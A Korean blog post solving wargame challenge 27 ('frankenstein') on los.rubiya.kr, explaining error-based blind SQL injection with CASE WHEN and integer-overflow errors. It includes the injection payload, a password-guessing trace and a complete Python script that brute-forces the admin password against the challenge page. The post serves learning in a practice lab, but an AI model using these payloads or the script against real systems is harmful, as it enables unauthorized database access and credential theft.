[LOS] 27번 문제 풀이(frankenstein)

1 분 소요

💡 los.rubiya.kr 27번 문제에 대한 풀이입니다.

27번(frankenstein)

문제

image

풀이

코드를 보면 에러가 발생하면 error 화면을 띄우고, 정상적으로 쿼리가 실행된다면 해당 화면이 다시 그대로 출력됩니다.

image

따라서 flow control 기능이 있는 if, case 등을 이용해서

  1. 참인경우 -> error
  2. 거짓인 경우 -> 정상 쿼리

가 나오도록 유도하여, 조건문의 참 거짓의 비교를 통해서 blind sql injection이 가능합니다.

이제 문제는 어떠한 방식으로 flow control을 하냐인데, 제가 아는 방법은 3가지가 있습니다.

1. if(조건문, error 발생,'false' )
  -> 조건문이 '참'일때 에러를 발생시키고, 거짓일때는 에러를 발생 시키지 않음

2. select case when 조건문 then **error발생** else 'false' end
  -> 동일하게 조건문의 참거짓을 이용 가능

3. select id where id=(select 1 union select 2 where 조건문)
  -> 단일행 연산자인 '=' 에 비교 대상에서 where 조건이 '참'이 된다면 id=(1,2) 가 되어서 [단일행 = 2개의 행] 의 오류가 발생합니다.

이번 문제에서는 union과 괄호가 필터링 되었으니, 2번의 방법을 통해서 문제를 풀 수 있습니다.

blind sql injection에 사용한 핵심 페이로드는 아래와 같으며 비밀번호를 한글자씩 비교하면서 정답을 찾습니다.

#페이로드
pw=' or id='admin' and case when pw like '{}%' then 123412341234*123412341234 end#
' or id='admin' and case when pw like '0%' then 123412341234*123412341234 end#
find the pw 0
' or id='admin' and case when pw like '00%' then 123412341234*123412341234 end#
' or id='admin' and case when pw like '01%' then 123412341234*123412341234 end#
' or id='admin' and case when pw like '02%' then 123412341234*123412341234 end#
' or id='admin' and case when pw like '03%' then 123412341234*123412341234 end#
...

' or id='admin' and case when pw like '0dc4efb9%' then 123412341234*123412341234 end#
' or id='admin' and case when pw like '0dc4efba%' then 123412341234*123412341234 end#
' or id='admin' and case when pw like '0dc4efbb%' then 123412341234*123412341234 end#
find the pw 0dc4efbb

전체 코드는 다음과 같습니다.

import string
import requests

url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookies = {"PHPSESSID" : "595dl7ejl1io50mt9bhg0dbmpk"}
params = {"pw" : None}


domain = string.digits + string.ascii_lowercase

# 비밀번호
pw = ''
for i in range(30):
    for j in domain:
        payload = "' or id='admin' and case when pw like '{}%' then 123412341234*123412341234 end#".format(pw+j)
        params["pw"] = payload
        print(payload)
        response = requests.get(url,params=params,cookies=cookies)
        #print(response.text)
        if(response.text.count("error") == 1):
            pw += j
            print("find the pw",pw)
            break
    if(j == domain[-1]):
        print("finish find the pw",pw)
        break

pw = 0dc4efbb

image

댓글남기기